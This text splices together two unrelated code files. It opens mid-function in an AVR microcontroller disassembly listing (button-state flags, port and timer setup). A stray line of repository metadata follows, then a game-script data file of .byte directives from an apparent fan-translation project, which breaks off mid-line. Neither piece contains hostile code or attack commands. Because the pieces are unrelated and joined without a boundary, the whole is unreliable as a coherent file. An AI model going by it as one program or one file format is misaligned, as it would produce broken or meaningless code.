<__LOCK_REGION_LENGTH__+0x19e> 412: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 416: 88 23 and r24, r24 418: 8c f4 brge .+34 ; 0x43c <__LOCK_REGION_LENGTH__+0x3c> 41a: 89 e0 ldi r24, 0x09 ; 9 41c: 89 83 std Y+1, r24 ; 0x01 41e: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 422: 84 60 ori r24, 0x04 ; 4 424: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 428: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 42c: 8d 7f andi r24, 0xFD ; 253 42e: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 432: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 436: 81 60 ori r24, 0x01 ; 1 438: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 43c: 86 e3 ldi r24, 0x36 ; 54 43e: 90 e0 ldi r25, 0x00 ; 0 440: fc 01 movw r30, r24 442: 80 81 ld r24, Z 444: 88 2f mov r24, r24 446: 90 e0 ldi r25, 0x00 ; 0 448: 82 70 andi r24, 0x02 ; 2 44a: 99 27 eor r25, r25 44c: 21 e0 ldi r18, 0x01 ; 1 44e: 89 2b or r24, r25 450: 09 f4 brne .+2 ; 0x454 <__LOCK_REGION_LENGTH__+0x54> 452: 20 e0 ldi r18, 0x00 ; 0 454: 22 23 and r18, r18 456: 09 f4 brne .+2 ; 0x45a <__LOCK_REGION_LENGTH__+0x5a> 458: a2 c0 rjmp .+324 ; 0x59e <__LOCK_REGION_LENGTH__+0x19e> 45a: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 45e: 88 2f mov r24, r24 460: 90 e0 ldi r25, 0x00 ; 0 462: 80 74 andi r24, 0x40 ; 64 464: 99 27 eor r25, r25 466: 89 2b or r24, r25 468: b9 f0 breq .+46 ; 0x498 <__LOCK_REGION_LENGTH__+0x98> 46a: 90 91 67 00 lds r25, 0x0067 ; 0x800067 <f_button_state_flags> 46e: 80 e1 ldi r24, 0x10 ; 16 470: 89 27 eor r24, r25 472: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 476: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 47a: 88 2f mov r24, r24 47c: 90 e0 ldi r25, 0x00 ; 0 47e: 80 71 andi r24, 0x10 ; 16 480: 99 27 eor r25, r25 482: 89 2b or r24, r25 484: 11 f0 breq .+4 ; 0x48a <__LOCK_REGION_LENGTH__+0x8a> 486: 88 e0 ldi r24, 0x08 ; 8 488: 01 c0 rjmp .+2 ; 0x48c <__LOCK_REGION_LENGTH__+0x8c> 48a: 80 e0 ldi r24, 0x00 ; 0 48c: 89 83 std Y+1, r24 ; 0x01 48e: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 492: 84 60 ori r24, 0x04 ; 4 494: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 498: 10 92 62 00 sts 0x0062, r1 ; 0x800062 <scan_button_cnt> 49c: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 4a0: 8f 7b andi r24, 0xBF ; 191 4a2: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 4a6: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 4aa: 8f 77 andi r24, 0x7F ; 127 4ac: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 4b0: 76 c0 rjmp .+236 ; 0x59e <__LOCK_REGION_LENGTH__+0x19e> 4b2: 86 e3 ldi r24, 0x36 ; 54 4b4: 90 e0 ldi r25, 0x00 ; 0 4b6: fc 01 movw r30, r24 4b8: 80 81 ld r24, Z 4ba: 88 2f mov r24, r24 4bc: 90 e0 ldi r25, 0x00 ; 0 4be: 82 70 andi r24, 0x02 ; 2 4c0: 99 27 eor r25, r25 4c2: 21 e0 ldi r18, 0x01 ; 1 4c4: 89 2b or r24, r25 4c6: 09 f4 brne .+2 ; 0x4ca <__LOCK_REGION_LENGTH__+0xca> 4c8: 20 e0 ldi r18, 0x00 ; 0 4ca: 22 23 and r18, r18 4cc: 09 f4 brne .+2 ; 0x4d0 <__LOCK_REGION_LENGTH__+0xd0> 4ce: 69 c0 rjmp .+210 ; 0x5a2 <__LOCK_REGION_LENGTH__+0x1a2> 4d0: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 4d4: 82 60 ori r24, 0x02 ; 2 4d6: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 4da: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 4de: 8e 7f andi r24, 0xFE ; 254 4e0: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 4e4: 5e c0 rjmp .+188 ; 0x5a2 <__LOCK_REGION_LENGTH__+0x1a2> 4e6: 86 e3 ldi r24, 0x36 ; 54 4e8: 90 e0 ldi r25, 0x00 ; 0 4ea: fc 01 movw r30, r24 4ec: 80 81 ld r24, Z 4ee: 88 2f mov r24, r24 4f0: 90 e0 ldi r25, 0x00 ; 0 4f2: 82 70 andi r24, 0x02 ; 2 4f4: 99 27 eor r25, r25 4f6: 21 e0 ldi r18, 0x01 ; 1 4f8: 89 2b or r24, r25 4fa: 09 f0 breq .+2 ; 0x4fe <__LOCK_REGION_LENGTH__+0xfe> 4fc: 20 e0 ldi r18, 0x00 ; 0 4fe: 22 23 and r18, r18 500: a1 f0 breq .+40 ; 0x52a <__LOCK_REGION_LENGTH__+0x12a> 502: 85 e5 ldi r24, 0x55 ; 85 504: 90 e0 ldi r25, 0x00 ; 0 506: 25 e5 ldi r18, 0x55 ; 85 508: 30 e0 ldi r19, 0x00 ; 0 50a: f9 01 movw r30, r18 50c: 20 81 ld r18, Z 50e: 27 7e andi r18, 0xE7 ; 231 510: fc 01 movw r30, r24 512: 20 83 st Z, r18 514: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 518: 82 60 ori r24, 0x02 ; 2 51a: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 51e: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 522: 81 60 ori r24, 0x01 ; 1 524: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 528: 3d c0 rjmp .+122 ; 0x5a4 <__LOCK_REGION_LENGTH__+0x1a4> 52a: 10 92 62 00 sts 0x0062, r1 ; 0x800062 <scan_button_cnt> 52e: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 532: 8f 77 andi r24, 0x7F ; 127 534: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 538: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 53c: 8f 7b andi r24, 0xBF ; 191 53e: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 542: 89 e0 ldi r24, 0x09 ; 9 544: 89 83 std Y+1, r24 ; 0x01 546: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 54a: 84 60 ori r24, 0x04 ; 4 54c: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 550: 85 e5 ldi r24, 0x55 ; 85 552: 90 e0 ldi r25, 0x00 ; 0 554: 25 e5 ldi r18, 0x55 ; 85 556: 30 e0 ldi r19, 0x00 ; 0 558: f9 01 movw r30, r18 55a: 20 81 ld r18, Z 55c: 27 7e andi r18, 0xE7 ; 231 55e: 20 61 ori r18, 0x10 ; 16 560: fc 01 movw r30, r24 562: 20 83 st Z, r18 564: 8b e5 ldi r24, 0x5B ; 91 566: 90 e0 ldi r25, 0x00 ; 0 568: 2b e5 ldi r18, 0x5B ; 91 56a: 30 e0 ldi r19, 0x00 ; 0 56c: f9 01 movw r30, r18 56e: 20 81 ld r18, Z 570: 20 64 ori r18, 0x40 ; 64 572: fc 01 movw r30, r24 574: 20 83 st Z, r18 576: 8a e5 ldi r24, 0x5A ; 90 578: 90 e0 ldi r25, 0x00 ; 0 57a: 2a e5 ldi r18, 0x5A ; 90 57c: 30 e0 ldi r19, 0x00 ; 0 57e: f9 01 movw r30, r18 580: 20 81 ld r18, Z 582: 2f 7b andi r18, 0xBF ; 191 584: fc 01 movw r30, r24 586: 20 83 st Z, r18 588: 0d c0 rjmp .+26 ; 0x5a4 <__LOCK_REGION_LENGTH__+0x1a4> 58a: 8b e0 ldi r24, 0x0B ; 11 58c: 89 83 std Y+1, r24 ; 0x01 58e: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 592: 84 60 ori r24, 0x04 ; 4 594: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 598: 05 c0 rjmp .+10 ; 0x5a4 <__LOCK_REGION_LENGTH__+0x1a4> 59a: 00 00 nop 59c: 03 c0 rjmp .+6 ; 0x5a4 <__LOCK_REGION_LENGTH__+0x1a4> 59e: 00 00 nop 5a0: 01 c0 rjmp .+2 ; 0x5a4 <__LOCK_REGION_LENGTH__+0x1a4> 5a2: 00 00 nop 5a4: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 5a8: 88 2f mov r24, r24 5aa: 90 e0 ldi r25, 0x00 ; 0 5ac: 84 70 andi r24, 0x04 ; 4 5ae: 99 27 eor r25, r25 5b0: 89 2b or r24, r25 5b2: d1 f0 breq .+52 ; 0x5e8 <__LOCK_REGION_LENGTH__+0x1e8> 5b4: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 5b8: 8b 7f andi r24, 0xFB ; 251 5ba: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 5be: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 5c2: 80 62 ori r24, 0x20 ; 32 5c4: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 5c8: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 5cc: 88 2f mov r24, r24 5ce: 90 e0 ldi r25, 0x00 ; 0 5d0: 80 72 andi r24, 0x20 ; 32 5d2: 99 27 eor r25, r25 5d4: 21 e0 ldi r18, 0x01 ; 1 5d6: 89 2b or r24, r25 5d8: 09 f4 brne .+2 ; 0x5dc <__LOCK_REGION_LENGTH__+0x1dc> 5da: 20 e0 ldi r18, 0x00 ; 0 5dc: 62 2f mov r22, r18 5de: 89 81 ldd r24, Y+1 ; 0x01 5e0: 05 d0 rcall .+10 ; 0x5ec <_Z8setPortshb> 5e2: 61 e0 ldi r22, 0x01 ; 1 5e4: 89 81 ldd r24, Y+1 ; 0x01 5e6: 74 d0 rcall .+232 ; 0x6d0 <_Z10setPeriodshb> 5e8: 88 95 sleep 5ea: f3 cd rjmp .-1050 ; 0x1d2 <main+0x6a> 000005ec <_Z8setPortshb>: 5ec: cf 93 push r28 5ee: df 93 push r29 5f0: cd b7 in r28, 0x3d ; 61 5f2: dd 27 eor r29, r29 5f4: cc 50 subi r28, 0x0C ; 12 5f6: cd bf out 0x3d, r28 ; 61 5f8: 8b 87 std Y+11, r24 ; 0x0b 5fa: 6c 87 std Y+12, r22 ; 0x0c 5fc: 87 e3 ldi r24, 0x37 ; 55 5fe: 90 e0 ldi r25, 0x00 ; 0 600: fc 01 movw r30, r24 602: 10 82 st Z, r1 604: 88 e3 ldi r24, 0x38 ; 56 606: 90 e0 ldi r25, 0x00 ; 0 608: fc 01 movw r30, r24 60a: 10 82 st Z, r1 60c: 8b 85 ldd r24, Y+11 ; 0x0b 60e: 88 2f mov r24, r24 610: 90 e0 ldi r25, 0x00 ; 0 612: 88 0f add r24, r24 614: 99 1f adc r25, r25 616: 88 0f add r24, r24 618: 99 1f adc r25, r25 61a: 88 0f add r24, r24 61c: 99 1f adc r25, r25 61e: 9c 01 movw r18, r24 620: 2c 5e subi r18, 0xEC ; 236 622: 3f 4f sbci r19, 0xFF ; 255 624: 8c 85 ldd r24, Y+12 ; 0x0c 626: 88 23 and r24, r24 628: 19 f0 breq .+6 ; 0x630 <_Z8setPortshb+0x44> 62a: 80 e0 ldi r24, 0x00 ; 0 62c: 90 e0 ldi r25, 0x00 ; 0 62e: 02 c0 rjmp .+4 ; 0x634 <_Z8setPortshb+0x48> 630: 82 e0 ldi r24, 0x02 ; 2 632: 90 e0 ldi r25, 0x00 ; 0 634: 82 0f add r24, r18 636: 93 1f adc r25, r19 638: 9a 83 std Y+2, r25 ; 0x02 63a: 89 83 std Y+1, r24 ; 0x01 63c: 89 81 ldd r24, Y+1 ; 0x01 63e: 9a 81 ldd r25, Y+2 ; 0x02 640: fc 01 movw r30, r24 642: 84 91 lpm r24, Z 644: 8b 83 std Y+3, r24 ; 0x03 646: 8b 81 ldd r24, Y+3 ; 0x03 648: 8c 83 std Y+4, r24 ; 0x04 64a: 8c 81 ldd r24, Y+4 ; 0x04 64c: 8d 7f andi r24, 0xFD ; 253 64e: 8c 83 std Y+4, r24 ; 0x04 650: 87 e3 ldi r24, 0x37 ; 55 652: 90 e0 ldi r25, 0x00 ; 0 654: 2c 81 ldd r18, Y+4 ; 0x04 656: fc 01 movw r30, r24 658: 20 83 st Z, r18 65a: 8c 85 ldd r24, Y+12 ; 0x0c 65c: 88 23 and r24, r24 65e: a9 f0 breq .+42 ; 0x68a <_Z8setPortshb+0x9e> 660: 8b 85 ldd r24, Y+11 ; 0x0b 662: 88 2f mov r24, r24 664: 90 e0 ldi r25, 0x00 ; 0 666: 88 0f add r24, r24 668: 99 1f adc r25, r25 66a: 88 0f add r24, r24 66c: 99 1f adc r25, r25 66e: 88 0f add r24, r24 670: 99 1f adc r25, r25 672: 01 96 adiw r24, 0x01 ; 1 674: 8c 5e subi r24, 0xEC ; 236 676: 9f 4f sbci r25, 0xFF ; 255 678: 9e 83 std Y+6, r25 ; 0x06 67a: 8d 83 std Y+5, r24 ; 0x05 67c: 8d 81 ldd r24, Y+5 ; 0x05 67e: 9e 81 ldd r25, Y+6 ; 0x06 680: fc 01 movw r30, r24 682: 84 91 lpm r24, Z 684: 8f 83 std Y+7, r24 ; 0x07 686: 8f 81 ldd r24, Y+7 ; 0x07 688: 14 c0 rjmp .+40 ; 0x6b2 <_Z8setPortshb+0xc6> 68a: 8b 85 ldd r24, Y+11 ; 0x0b 68c: 88 2f mov r24, r24 68e: 90 e0 ldi r25, 0x00 ; 0 690: 88 0f add r24, r24 692: 99 1f adc r25, r25 694: 88 0f add r24, r24 696: 99 1f adc r25, r25 698: 88 0f add r24, r24 69a: 99 1f adc r25, r25 69c: 03 96 adiw r24, 0x03 ; 3 69e: 8c 5e subi r24, 0xEC ; 236 6a0: 9f 4f sbci r25, 0xFF ; 255 6a2: 99 87 std Y+9, r25 ; 0x09 6a4: 88 87 std Y+8, r24 ; 0x08 6a6: 88 85 ldd r24, Y+8 ; 0x08 6a8: 99 85 ldd r25, Y+9 ; 0x09 6aa: fc 01 movw r30, r24 6ac: 84 91 lpm r24, Z 6ae: 8a 87 std Y+10, r24 ; 0x0a 6b0: 8a 85 ldd r24, Y+10 ; 0x0a 6b2: 8c 83 std Y+4, r24 ; 0x04 6b4: 8c 81 ldd r24, Y+4 ; 0x04 6b6: 82 60 ori r24, 0x02 ; 2 6b8: 8c 83 std Y+4, r24 ; 0x04 6ba: 88 e3 ldi r24, 0x38 ; 56 6bc: 90 e0 ldi r25, 0x00 ; 0 6be: 2c 81 ldd r18, Y+4 ; 0x04 6c0: fc 01 movw r30, r24 6c2: 20 83 st Z, r18 6c4: 00 00 nop 6c6: c4 5f subi r28, 0xF4 ; 244 6c8: cd bf out 0x3d, r28 ; 61 6ca: df 91 pop r29 6cc: cf 91 pop r28 6ce: 08 95 ret 000006d0 <_Z10setPeriodshb>: 6d0: cf 93 push r28 6d2: df 93 push r29 6d4: cd b7 in r28, 0x3d ; 61 6d6: dd 27 eor r29, r29 6d8: ca 50 subi r28, 0x0A ; 10 6da: cd bf out 0x3d, r28 ; 61 6dc: 89 87 std Y+9, r24 ; 0x09 6de: 6a 87 std Y+10, r22 ; 0x0a 6e0: 89 85 ldd r24, Y+9 ; 0x09 6e2: 88 2f mov r24, r24 6e4: 90 e0 ldi r25, 0x00 ; 0 6e6: 88 0f add r24, r24 6e8: 99 1f adc r25, r25 6ea: 88 0f add r24, r24 6ec: 99 1f adc r25, r25 6ee: 88 0f add r24, r24 6f0: 99 1f adc r25, r25 6f2: 04 96 adiw r24, 0x04 ; 4 6f4: 8c 5e subi r24, 0xEC ; 236 6f6: 9f 4f sbci r25, 0xFF ; 255 6f8: 9a 83 std Y+2, r25 ; 0x02 6fa: 89 83 std Y+1, r24 ; 0x01 6fc: 89 81 ldd r24, Y+1 ; 0x01 6fe: 9a 81 ldd r25, Y+2 ; 0x02 700: fc 01 movw r30, r24 702: 25 91 lpm r18, Z+ 704: 34 91 lpm r19, Z 706: cf 01 movw r24, r30 708: 3c 83 std Y+4, r19 ; 0x04 70a: 2b 83 std Y+3, r18 ; 0x03 70c: 9a 83 std Y+2, r25 ; 0x02 70e: 89 83 std Y+1, r24 ; 0x01 710: 8b 81 ldd r24, Y+3 ; 0x03 712: 9c 81 ldd r25, Y+4 ; 0x04 714: 90 93 64 00 sts 0x0064, r25 ; 0x800064 <tl_flash_end+0x1> 718: 80 93 63 00 sts 0x0063, r24 ; 0x800063 <tl_flash_end> 71c: 80 91 63 00 lds r24, 0x0063 ; 0x800063 <tl_flash_end> 720: 90 91 64 00 lds r25, 0x0064 ; 0x800064 <tl_flash_end+0x1> 724: 89 2b or r24, r25 726: 59 f0 breq .+22 ; 0x73e <_Z10setPeriodshb+0x6e> 728: 20 91 63 00 lds r18, 0x0063 ; 0x800063 <tl_flash_end> 72c: 30 91 64 00 lds r19, 0x0064 ; 0x800064 <tl_flash_end+0x1> 730: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 734: 90 91 61 00 lds r25, 0x0061 ; 0x800061 <_edata+0x1> 738: 82 0f add r24, r18 73a: 93 1f adc r25, r19 73c: 02 c0 rjmp .+4 ; 0x742 <_Z10setPeriodshb+0x72> 73e: 80 e0 ldi r24, 0x00 ; 0 740: 90 e0 ldi r25, 0x00 ; 0 742: 90 93 64 00 sts 0x0064, r25 ; 0x800064 <tl_flash_end+0x1> 746: 80 93 63 00 sts 0x0063, r24 ; 0x800063 <tl_flash_end> 74a: 8a 85 ldd r24, Y+10 ; 0x0a 74c: 88 23 and r24, r24 74e: a9 f1 breq .+106 ; 0x7ba <_Z10setPeriodshb+0xea> 750: 89 85 ldd r24, Y+9 ; 0x09 752: 88 2f mov r24, r24 754: 90 e0 ldi r25, 0x00 ; 0 756: 88 0f add r24, r24 758: 99 1f adc r25, r25 75a: 88 0f add r24, r24 75c: 99 1f adc r25, r25 75e: 88 0f add r24, r24 760: 99 1f adc r25, r25 762: 06 96 adiw r24, 0x06 ; 6 764: 8c 5e subi r24, 0xEC ; 236 766: 9f 4f sbci r25, 0xFF ; 255 768: 9e 83 std Y+6, r25 ; 0x06 76a: 8d 83 std Y+5, r24 ; 0x05 76c: 8d 81 ldd r24, Y+5 ; 0x05 76e: 9e 81 ldd r25, Y+6 ; 0x06 770: fc 01 movw r30, r24 772: 25 91 lpm r18, Z+ 774: 34 91 lpm r19, Z 776: cf 01 movw r24, r30 778: 38 87 std Y+8, r19 ; 0x08 77a: 2f 83 std Y+7, r18 ; 0x07 77c: 9e 83 std Y+6, r25 ; 0x06 77e: 8d 83 std Y+5, r24 ; 0x05 780: 8f 81 ldd r24, Y+7 ; 0x07 782: 98 85 ldd r25, Y+8 ; 0x08 784: 90 93 66 00 sts 0x0066, r25 ; 0x800066 <tl_signal_end+0x1> 788: 80 93 65 00 sts 0x0065, r24 ; 0x800065 <tl_signal_end> 78c: 80 91 65 00 lds r24, 0x0065 ; 0x800065 <tl_signal_end> 790: 90 91 66 00 lds r25, 0x0066 ; 0x800066 <tl_signal_end+0x1> 794: 89 2b or r24, r25 796: 59 f0 breq .+22 ; 0x7ae <_Z10setPeriodshb+0xde> 798: 20 91 65 00 lds r18, 0x0065 ; 0x800065 <tl_signal_end> 79c: 30 91 66 00 lds r19, 0x0066 ; 0x800066 <tl_signal_end+0x1> 7a0: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 7a4: 90 91 61 00 lds r25, 0x0061 ; 0x800061 <_edata+0x1> 7a8: 82 0f add r24, r18 7aa: 93 1f adc r25, r19 7ac: 02 c0 rjmp .+4 ; 0x7b2 <_Z10setPeriodshb+0xe2> 7ae: 80 e0 ldi r24, 0x00 ; 0 7b0: 90 e0 ldi r25, 0x00 ; 0 7b2: 90 93 66 00 sts 0x0066, r25 ; 0x800066 <tl_signal_end+0x1> 7b6: 80 93 65 00 sts 0x0065, r24 ; 0x800065 <tl_signal_end> 7ba: 00 00 nop 7bc: c6 5f subi r28, 0xF6 ; 246 7be: cd bf out 0x3d, r28 ; 61 7c0: df 91 pop r29 7c2: cf 91 pop r28 7c4: 08 95 ret 000007c6 <_Z16init_timer_clockv>: 7c6: cf 93 push r28 7c8: df 93 push r29 7ca: cd b7 in r28, 0x3d ; 61 7cc: dd 27 eor r29, r29 7ce: 83 e5 ldi r24, 0x53 ; 83 7d0: 90 e0 ldi r25, 0x00 ; 0 7d2: 25 e0 ldi r18, 0x05 ; 5 7d4: fc 01 movw r30, r24 7d6: 20 83 st Z, r18 7d8: 89 e5 ldi r24, 0x59 ; 89 7da: 90 e0 ldi r25, 0x00 ; 0 7dc: 29 e5 ldi r18, 0x59 ; 89 7de: 30 e0 ldi r19, 0x00 ; 0 7e0: f9 01 movw r30, r18 7e2: 20 81 ld r18, Z 7e4: 22 60 ori r18, 0x02 ; 2 7e6: fc 01 movw r30, r24 7e8: 20 83 st Z, r18 7ea: 00 00 nop 7ec: df 91 pop r29 7ee: cf 91 pop r28 7f0: 08 95 ret 000007f2 <_exit>: 7f2: f8 94 cli 000007f4 <__stop_program>: 7f4: ff cf rjmp .-2 ; 0x7f4 <__stop_program>
41.665552
80
0.56451
965c8bfa524bf1b98986ae574aaf5b3c34480ef7
4,666
asm
Assembly
asm/scriptcode/tenko/tenko1start.asm
Dimedime-d/kptranslation
62ba88ac2e279ac8bf0539e61a8d5764bdc60c5a
[ "CC-BY-4.0" ]
3
2020-10-25T07:13:17.000Z
2021-11-02T15:47:14.000Z
asm/scriptcode/tenko/tenko1start.asm
Dimedime-d/kptranslation
62ba88ac2e279ac8bf0539e61a8d5764bdc60c5a
[ "CC-BY-4.0" ]
5
2021-03-01T02:45:02.000Z
2021-12-15T03:33:28.000Z
asm/scriptcode/tenko/tenko1start.asm
Dimedime-d/kptranslation
62ba88ac2e279ac8bf0539e61a8d5764bdc60c5a
[ "CC-BY-4.0" ]
null
null
null
.byte 0x02,0x00,0x09,0x00 .word 0x08095838 .byte 0x09,0x00,0x0F,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x00,0x01,0x00,0x00 .byte 0x00,0x1E,0x00,0x03 .byte 0x09,0x00,0x00,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0xCC,0x14,0x0A,0x00 .byte 0xA2,0x36,0x00,0x00 .byte 0x09,0x00,0x01,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x70,0x4B,0x0A,0x00 .byte 0xB0,0x04,0x00,0x00 .byte 0x09,0x00,0x02,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x20,0x50,0x0A,0x00 .byte 0xF0,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x09,0x00,0x0E,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x09,0x00,0x08,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x1E,0x00,0x00,0x00 .byte 0x14,0x00,0x00,0x00 .byte 0x09,0x00,0x03,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x09,0x00,0x09,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x09,0x00,0x11,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x08,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x09,0x00,0x04,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x01,0x00,0x01,0x00 .byte 0x0C,0x00,0x00,0x00 .byte 0x42,0x00,0x00,0x00 .byte 0xF0,0x00,0x00,0x00 .byte 0x0C,0x00,0x00,0x00 .byte 0x46,0x00,0x00,0x00 .byte 0x14,0x00,0x00,0x00 .byte 0x0C,0x00,0x02,0x00 .byte 0x48,0x00,0x00,0x00 .byte 0x3F,0x00,0x00,0x00 .byte 0x0C,0x00,0x01,0x00 .byte 0x48,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0C,0x00,0x00,0x00 .byte 0x4A,0x00,0x00,0x00 .byte 0x3F,0x00,0x00,0x00 .byte 0x0C,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x40,0x00,0x00 @loc1: .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x02,0x00,0x09,0x00 .word 0x080A388C .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x06,0x00,0x00,0x00 .byte 0x07,0xFF,0xFF,0x7F .byte 0x5A,0x00,0x00,0x00 .byte 0x02,0x00,0x09,0x00 .word 0x080A38F8 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x2F,0x00,0x00,0x00 loadCharsAndSfx s_tenko1start1 .byte 0x02,0x00,0x09,0x00 .word 0x08095F94 .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x09,0x00,0x05,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x5A,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x30,0x00,0x00,0x00 .byte 0x02,0x00,0x09,0x00 .word 0x080A38B0 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x31,0x00,0x00,0x00 loadCharsAndSfx s_tenko1start2 .byte 0x02,0x00,0x09,0x00 .word 0x08095F94 .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x04,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x32,0x00,0x00,0x00 loadCharsAndSfx s_tenko1start3 .byte 0x02,0x00,0x09,0x00 .word 0x08095F3C .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x31,0x00,0x00,0x00 loadCharsAndSfx s_tenko1start4 .byte 0x02,0x00,0x09,0x00 .word 0x08095F94 .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x33,0x00,0x00,0x00 loadCharsAndSfx s_tenko1start5 .byte 0x02,0x00,0x09,0x00 .word 0x08095F94 .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x34,0x00,0x00,0x00 loadCharsAndSfx s_tenko1start6 .byte 0x02,0x00,0x09,0x00 .word 0x08095F94 .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x06,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x32,0x00,0x00,0x00 loadCharsAndSfx s_tenko1start7 .byte 0x02,0x00,0x09,0x00 .word 0x08095F3C .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x35,0x00,0x00,0x00 loadCharsAndSfx s_tenko1start8 .byte 0x02,0x00,0x09,0x00 .word 0x08095F94 .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0A,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x03,0x00,0x00,0x00 .byte 